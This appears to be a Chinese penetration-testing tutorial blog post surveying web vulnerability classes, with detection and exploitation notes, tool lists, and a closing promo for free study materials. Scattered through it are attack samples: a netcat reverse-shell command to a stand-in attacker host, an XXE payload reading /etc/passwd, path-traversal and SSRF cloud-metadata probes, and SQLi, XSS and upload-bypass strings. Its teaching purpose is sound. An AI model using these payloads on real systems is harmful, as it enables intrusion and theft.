渗透测试:漏洞类型、原理、危害、检测思路和利用方式
一、核心漏洞类别
-
注入漏洞
-
- 手动: 在所有输入点尝试注入特殊字符 (
',",;,#,--,/* */,|,&,$(), 反引号, 模板语法{{}},${}等),观察应用响应(错误信息、延迟、数据变化)。 - 自动化: SQLMap (SQLi), Commix (Command Injection), tplmap (SSTI), Burp Suite Scanner, ZAP Scanner。WAF Bypass 技术常用。
- 手动: 在所有输入点尝试注入特殊字符 (
-
- SQL 注入 (SQLi): 最经典。通过操纵 SQL 查询语句窃取、篡改、删除数据库数据,甚至执行系统命令 (取决于数据库配置)。
' OR '1'='1是最简单的例子。 - 命令注入 (OS Command Injection): 在输入字段中注入系统命令 (
;,|,&,&&,||,$(),反引号)。利用点常出现在调用系统命令的函数中 (如system(),exec())。; ls -la /。 - LDAP 注入: 操纵 LDAP 查询语句,绕过认证或获取敏感目录信息。
- XPath 注入: 操纵 XML 路径查询。
- NoSQL 注入: 针对 MongoDB, CouchDB 等,利用其查询语法 (如 JSON/BSON) 的解析差异进行攻击。
- ORM 注入: ORM 框架使用不当可能导致底层 SQLi。
- 模板注入 (SSTI - Server-Side Template Injection): 在模板引擎 (Jinja2, Twig, Freemarker, Velocity 等) 中注入恶意模板代码,导致远程代码执行 (RCE)。
{{ 7*7 }}探测。
- SQL 注入 (SQLi): 最经典。通过操纵 SQL 查询语句窃取、篡改、删除数据库数据,甚至执行系统命令 (取决于数据库配置)。
-
- 原理: 将不受信任的数据作为命令或查询的一部分发送给解释器(如 SQL、OS、LDAP、NoSQL 数据库、ORM、模板引擎等),欺骗解释器执行非预期的命令或访问非授权数据。
- 常见类型:
- 危害: 数据泄露、数据篡改、数据丢失、认证绕过、服务器完全沦陷 (RCE)。
- 检测:
- 利用: 构造有效载荷获取数据 (如
UNION SELECT),执行命令 (如; nc -e /bin/sh attacker_ip 4444),写入 Webshell。
-
失效的身份认证
-
- 检查密码策略强度。
- 测试登录端点是否存在暴力破解漏洞 (Burp Intruder, Hydra)。
- 分析会话令牌的生成、传输、存储、失效机制 (是否 HTTPS? HttpOnly? Secure? 长度/熵? 注销后是否失效?)。
- 检查密码重置、修改密码功能的安全性。
- 审计 JWT 实现。
-
- 弱口令/默认口令: 未强制复杂密码策略,或使用默认管理员密码。
- 暴力破解/字典攻击: 认证端点无有效速率限制、CAPTCHA 或账户锁定机制。
- 会话固定 (Session Fixation): 攻击者诱使用户使用一个已知的会话 ID 登录。
- 会话劫持 (Session Hijacking): 窃取有效的会话令牌 (Cookie, JWT) 来冒充用户。XSS、网络嗅探、预测令牌。
- 会话失效不当: 用户注销后会话未在服务器端立即失效,或会话超时设置过长。
- 密码管理问题: 明文存储密码、弱哈希 (MD5, SHA1)、无盐哈希、密码重置流程不安全 (可预测 Token、安全问题答案易猜)。
- JWT 安全问题: 未验证签名 (
alg: none攻击)、使用弱密钥、敏感信息存储在 Token 中。
-
- 原理: 身份认证或会话管理功能实现存在缺陷,导致攻击者能够破坏密码、密钥、会话令牌或利用其他实现缺陷假冒其他用户身份。
- 常见问题:
- 危害: 用户账户被完全接管 (尤其是管理员账户),导致权限提升和数据泄露。
- 检测:
- 利用: 使用工具 (Hydra, Burp Intruder) 进行暴力破解;利用 XSS 窃取 Cookie;重放捕获的会话令牌;篡改 JWT。
-
敏感数据泄露
-
- 检查所有涉及敏感数据的传输是否强制使用 HTTPS (HSTS)。
- 审计存储机制 (如何存?存哪里?是否加密?密钥管理?)。
- 分析 HTTP 响应头 (
Cache-Control,Pragma,Server,X-Powered-By, 自定义头)。 - 主动扫描常见泄露文件 (DirBuster, Gobuster, Burp Content Discovery)。
- 故意触发错误查看错误信息。
- 检查源代码/配置是否有硬编码凭证。
-
- 传输中未加密: 未使用 TLS (HTTPS) 或使用弱加密协议/套件。
- 存储中未加密/弱加密: 数据库、文件系统、备份中的敏感数据明文存储,或使用了过时/弱加密算法、硬编码密钥。
- 不必要的数据存储: 存储了超出业务需要的敏感数据。
- 错误的响应头/缓存: 包含敏感信息的响应被缓存 (浏览器、代理服务器、CDN),或未设置安全的缓存策略。
- 信息泄露: 错误消息包含堆栈跟踪、服务器版本、数据库结构等敏感信息;文件目录列表未关闭;
.git,.svn,.DS_Store, 备份文件 (*.bak,*.old) 等可访问。
-
- 原理: 未对敏感数据(如密码、信用卡号、个人身份信息 (PII)、健康记录)进行充分保护。
- 常见问题:
- 危害: 大规模数据泄露、身份盗窃、金融欺诈、合规性处罚、声誉损害。
- 检测:
- 利用: 直接访问泄露的文件;分析错误信息;嗅探网络流量;利用其他漏洞 (如路径遍历、XXE) 读取配置文件。
-
XML 外部实体注入
-
- 尝试在 XML 请求中插入外部实体声明:
-
- 原理: 配置不当的 XML 解析器处理了包含外部实体声明的 XML 输入。攻击者利用此功能读取内部文件、进行内部端口扫描、执行远程代码 (在特定条件下) 或发起拒绝服务攻击。
- 常见入口点: 接受 XML 上传或输入的 API (SOAP, REST)、文件上传 (如 DOCX 本质是 ZIP+XML)、某些单点登录 (SSO) 实现。
- 危害: 读取服务器任意文件 (
/etc/passwd, 源代码, 配置文件)、内部网络探测、服务器端请求伪造 (SSRF)、拒绝服务 (Billion Laughs 攻击)、特定条件下 RCE。 - 检测:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data>&xxe;</data>
-
尝试使用不同的协议 (file://,http://,ftp://,php://filter等)。- 观察响应是否包含文件内容、是否发起外部请求 (Burp Collaborator)、是否有延迟或错误。
-
利用: 构造恶意 XML 读取文件;利用
php://filter进行 Base64 编码读取 PHP 源码;利用外部 DTD 进行带外数据外带 (OOB XXE)。
5. 失效的访问控制
-
- 手动测试: 登录不同权限账户,尝试访问本不该访问的 URL、修改请求中的 ID 参数、尝试执行高权限操作。使用 Burp Repeater/Intruder 修改请求。
- 自动化辅助: Burp Scanner 能发现部分 IDOR,但主要依赖手动逻辑测试。
- 检查所有 API 端点的权限验证。
- 分析 CORS 策略 (
Access-Control-Allow-Origin是否过于宽松)。
-
- 水平越权 (Horizontal Privilege Escalation): 用户 A 能访问用户 B 的数据/功能 (如
/user/profile?uid=123-> 修改 uid 为 124)。 - 垂直越权 (Vertical Privilege Escalation): 普通用户能访问管理员功能 (如 直接访问
/admin/deleteUser或猜测/修改隐藏的 Role 参数)。 - 不安全的直接对象引用 (IDOR - Insecure Direct Object References): 通过修改 URL 或请求参数中的标识符(如数据库主键、文件名)直接访问未授权资源。是水平越权的常见表现形式。
- 功能级访问控制缺失: 未在服务器端对每个功能点进行权限校验,仅依赖前端隐藏按钮/菜单。
- API 访问控制失效: API 端点未正确验证调用者权限或 Token 范围。
- CORS 配置错误: 允许不受信任的域访问敏感 API。
- 水平越权 (Horizontal Privilege Escalation): 用户 A 能访问用户 B 的数据/功能 (如
-
-
原理: 对经过身份验证的用户可以执行的操作缺乏有效限制。通常表现为权限验证缺失或配置错误。
-
常见问题:
-
危害: 未授权访问、查看、修改、删除他人的数据或执行特权操作。
-
检测:
-
利用: 修改请求参数;直接访问高权限 URL;利用 IDOR 遍历数据。
6. 安全配置错误
-
-
- 端口扫描 (Nmap) 识别开放服务和版本。
- 目录/文件扫描 (Gobuster, DirBuster) 找常见路径和文件。
- 分析 HTTP 响应头和错误信息。
- 使用 Nikto, WPScan (针对 WordPress) 等扫描器识别配置缺陷和已知漏洞。
- 手动检查默认页面、管理界面。
- 检查云存储权限。
-
- 默认账户/密码未修改。
- 不必要的服务/端口开放。
- 目录列表未禁用。
- 错误处理不当 (泄露堆栈信息)。
- 未安装最新的安全补丁。
- HTTP 不安全方法启用 (PUT, DELETE, TRACE)。
- 不安全的 HTTP 头配置 (如缺少
Content-Security-Policy,X-Content-Type-Options: nosniff,X-Frame-Options: DENY,Strict-Transport-Security)。 - 云存储桶 (S3, Blob) 配置为公开可访问。
-
-
原理: 应用程序、框架、应用服务器、Web 服务器、数据库、平台或云服务的安全配置未定义、未实施或配置错误(如使用默认配置、启用不必要的功能、暴露过多信息)。
-
常见问题:
-
危害: 为攻击者提供直接入口或扩大攻击面,导致其他漏洞更容易被利用。
-
检测:
-
利用: 直接访问泄露的信息或功能;利用未打补丁的漏洞;利用开放的服务进行攻击。
\7. 跨站脚本
-
-
- 手动: 在所有输入点尝试注入简单 payload (如
<script>alert(1)</script>),观察是否弹出警告框。对于 DOM XSS,需结合浏览器开发者工具调试分析数据流。 - 自动化: Burp Suite Scanner, ZAP Scanner, XSStrike 等。但 DOM XSS 检测较难。
- 手动: 在所有输入点尝试注入简单 payload (如
-
- 反射型 XSS (Reflected XSS): 恶意脚本来自当前 HTTP 请求(通常在 URL 参数中),服务器将其“反射”回响应页面并执行。需要诱骗用户点击恶意链接。
- 存储型 XSS (Stored XSS / Persistent XSS): 恶意脚本被永久存储在服务器上(如数据库、评论、消息),当其他用户访问包含该内容的页面时自动执行。危害更大。
- DOM 型 XSS (DOM-based XSS): 漏洞完全发生在客户端浏览器中。恶意脚本通过修改页面的 DOM 环境来执行,不经过服务器响应(或服务器响应是安全的)。触发源是
document.location,document.URL,document.referrer等客户端可控对象。
-
-
原理: 攻击者能够将恶意脚本 (通常是 JavaScript) 注入到其他用户浏览的网页中。当受害者的浏览器渲染该页面时,恶意脚本在其上下文中执行。
-
类型:
-
危害: 窃取用户会话 Cookie、模拟用户操作、重定向用户到恶意网站、记录键盘输入、传播蠕虫、篡改页面内容。
-
检测:
-
利用: 构造 payload 窃取 Cookie (
document.cookie) 并发送到攻击者服务器;发起 CSRF 请求;加载恶意键盘记录器;显示钓鱼内容。\8. 不安全的反序列化
-
-
- 识别应用中处理序列化数据的地方 (参数、Cookie、文件、Token)。
- 篡改序列化数据 (如修改字段值、类型混淆),观察应用行为 (错误、异常、代码执行迹象)。
- 使用工具 (如 ysoserial for Java, phpggc for PHP) 生成针对特定库的 Gadget 链 payload 进行测试。
- 分析反序列化过程是否进行签名验证、类型白名单检查。
-
-
原理: 将不受信任的、攻击者篡改后的序列化数据还原成对象。如果应用程序在反序列化过程中未进行充分验证,攻击者可能注入恶意对象或数据,导致任意代码执行、权限提升、重放攻击或注入攻击。
-
常见于: 远程过程调用 (RPC)、消息队列、缓存机制、API 身份认证令牌 (如 Java 的
readObject(), Python 的pickle/cPickle, PHP 的unserialize(), .NET 的BinaryFormatter). -
危害: 远程代码执行 (RCE)、拒绝服务、权限提升、篡改应用逻辑。
-
检测:
-
利用: 构造包含恶意 Gadget 链的序列化对象,触发反序列化漏洞执行任意命令。
\9. 使用含有已知漏洞的组件
-
-
- 依赖扫描: 使用 OWASP Dependency-Check, Snyk, WhiteSource, Black Duck, npm audit, pip-audit 等工具扫描项目依赖。
- 版本识别: 通过文件指纹 (如
README.md,CHANGELOG, 文件哈希)、HTTP 响应头 (X-Powered-By,Server)、错误信息识别组件及其版本。 - 漏洞数据库查询: 在 NVD, CVE Details, Exploit-DB, 组件官方安全公告等平台查询对应版本的漏洞。
-
-
原理: 应用程序使用了具有已知安全漏洞的第三方组件(库、框架、模块、操作系统)。攻击者利用这些公开的漏洞进行攻击。
-
危害: 风险等同于组件漏洞本身的风险(可能是 RCE, SQLi, XSS 等高危)。
-
检测:
-
利用: 查找公开的漏洞利用代码 (Exploit),针对性地攻击目标应用。
\10. 不足的日志记录和监控
-
-
- 检查日志策略:记录哪些事件?日志存储位置和保留时间?是否包含足够信息 (时间戳、源 IP、用户标识、事件描述、结果)?
- 测试关键事件是否被记录(如多次失败登录、IDOR 尝试、访问管理页面)。
- 是否有实时监控和告警机制?
- 渗透测试过程中是否触发告警?
-
- 原理: 未能有效记录安全相关事件(登录、访问控制失败、关键操作),或虽有日志但缺乏监控、告警和应急响应流程。导致攻击无法被及时发现、调查和响应。
- 危害: 攻击长期潜伏不被发现,数据持续泄露,攻击者有时间扩大攻击范围、消除痕迹。
- 检测:
- 利用 (间接): 攻击者利用该漏洞掩盖其攻击痕迹,延长攻击时间。
二、其他重要漏洞
-
服务器端请求伪造
-
- 原理: 诱导服务器端应用向攻击者指定的内部或外部资源发起 HTTP 请求。利用服务器作为代理进行内部探测、攻击内部系统、绕过访问控制。
- 危害: 访问内部服务/API、扫描内网、攻击防火墙后的系统、读取本地文件 (
file://)、利用云元数据服务 (如 AWS IAM Role Credentials)。 - 检测: 在参数可控的 URL 的地方 (如图片加载、PDF 生成、Webhook) 尝试
http://attacker-controlled.com,http://localhost,http://169.254.169.254(AWS 元数据),file:///etc/passwd。使用 Burp Collaborator 检测带外请求。
-
文件上传漏洞:
-
- 原理: 对用户上传的文件缺乏有效验证(类型、内容、大小、名称),导致攻击者上传恶意文件 (Webshell, 恶意脚本) 并可能执行它。
- 危害: Webshell 导致服务器完全沦陷。
- 检测: 尝试上传各种恶意文件 (
.php,.jsp,.aspx),尝试绕过黑名单 (双扩展名.jpg.php,大小写.PhP,空字节.jpg%00.php),尝试修改Content-Type,尝试利用解析差异 (如 IIS 6.0 分号截断)。
-
路径遍历
-
- 原理: 利用未能正确过滤用户输入中的特殊字符序列(如
../或..\),访问应用程序预期目录之外的文件或目录。 - 危害: 读取敏感系统文件、配置文件、源代码、日志;覆盖关键文件。
- 检测: 在文件名或路径参数中尝试
../../../../etc/passwd,..%2F..%2Fetc%2Fpasswd(URL 编码),....//(双重编码)。
- 原理: 利用未能正确过滤用户输入中的特殊字符序列(如
-
业务逻辑漏洞:
-
- 原理: 应用程序的业务流程、规则或逻辑实现存在缺陷,可被攻击者滥用。
- 常见类型: 无限试用/注册、薅羊毛 (批量领券)、订单金额篡改、负库存、条件竞争 (Race Condition)、流程绕过 (如跳过支付步骤)。
- 危害: 直接经济损失、欺诈、滥用资源。
- 检测: 深入理解业务逻辑,尝试非正常操作流程,寻找逻辑不一致性。依赖手动测试和经验。
三、渗透测试漏洞利用链
实际攻击中,攻击者很少只依赖单一漏洞。通常会组合利用多个漏洞形成 攻击链 (Exploit Chain) 以达到最终目标。例如:
- 利用 XSS 窃取管理员 Cookie -> 获得管理员会话 -> 垂直越权。
- 利用 SQL 注入 获取数据库中的密码哈希 -> 破解弱哈希 -> 认证绕过 -> 登录普通用户 -> 发现 IDOR -> 访问其他用户敏感数据 (水平越权)。
- 利用 SSRF 访问 AWS 元数据获取 IAM Role 临时凭证 -> 利用凭证访问 S3 存储桶 (敏感数据泄露) 或控制云资源。
- 利用 文件上传 漏洞传 Webshell -> 但需要知道绝对路径 -> 利用 XXE 读取配置文件获取路径 -> 成功 Getshell (RCE)。
四、漏洞检测工具 (渗透测试必备)
-
综合扫描器: Burp Suite Professional (首选), OWASP ZAP, Nessus, Nexpose, OpenVAS, Acunetix, Netsparker。
-
代理/拦截器: Burp Suite (Community/Pro), OWASP ZAP, Fiddler, Charles Proxy。
-
漏洞利用框架: Metasploit Framework (MSF), Cobalt Strike (商业)。
-
特定漏洞工具:
-
- SQLi: SQLMap
- XSS: XSStrike, XSSer
- Command Injection: Commix
- SSTI: tplmap
- XXE: XXEinjector
- 反序列化: ysoserial (Java), phpggc (PHP)
- SSRF: SSRFmap, Gopherus
- 目录/文件扫描: Gobuster, DirBuster, Dirsearch, ffuf
- 端口扫描: Nmap
- 暴力破解: Hydra, Medusa, Burp Intruder
- 依赖扫描: OWASP Dependency-Check, Snyk
-
网络工具: Wireshark (抓包), Ncat / Netcat (瑞士军刀), Curl (命令行 HTTP 客户端)。
-
Webshell管理: AntSword (蚁剑), Behinder (冰蝎), C刀。
五、关键注意事项
- 授权!授权!授权! 渗透测试必须在获得明确书面授权的范围内进行。未经授权的测试是违法的。
- 影响评估: 发现漏洞后,评估其实际可利用性和潜在业务影响至关重要。
- 最小化影响: 避免使用可能造成服务中断或数据损坏的测试方法 (如暴力破解生产环境主数据库)。
- 清晰报告: 漏洞报告应清晰描述漏洞细节 (位置、步骤、POC)、风险等级、影响和建议修复方案。使用 CVSS 评分。
- 持续学习: 漏洞和利用技术日新月异,需要不断学习研究新的攻击手法、防御技术和工具。
- 道德准则: 严格遵守渗透测试道德规范,保护客户数据和隐私。
理解这些核心漏洞的原理、检测和利用方法,是成为一名优秀渗透测试人员的基础。实际测试中需要结合手动探索和自动化工具,并深刻理解目标应用的业务逻辑和上下文环境。
关于网络安全技术储备
网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

更多推荐

所有评论(0)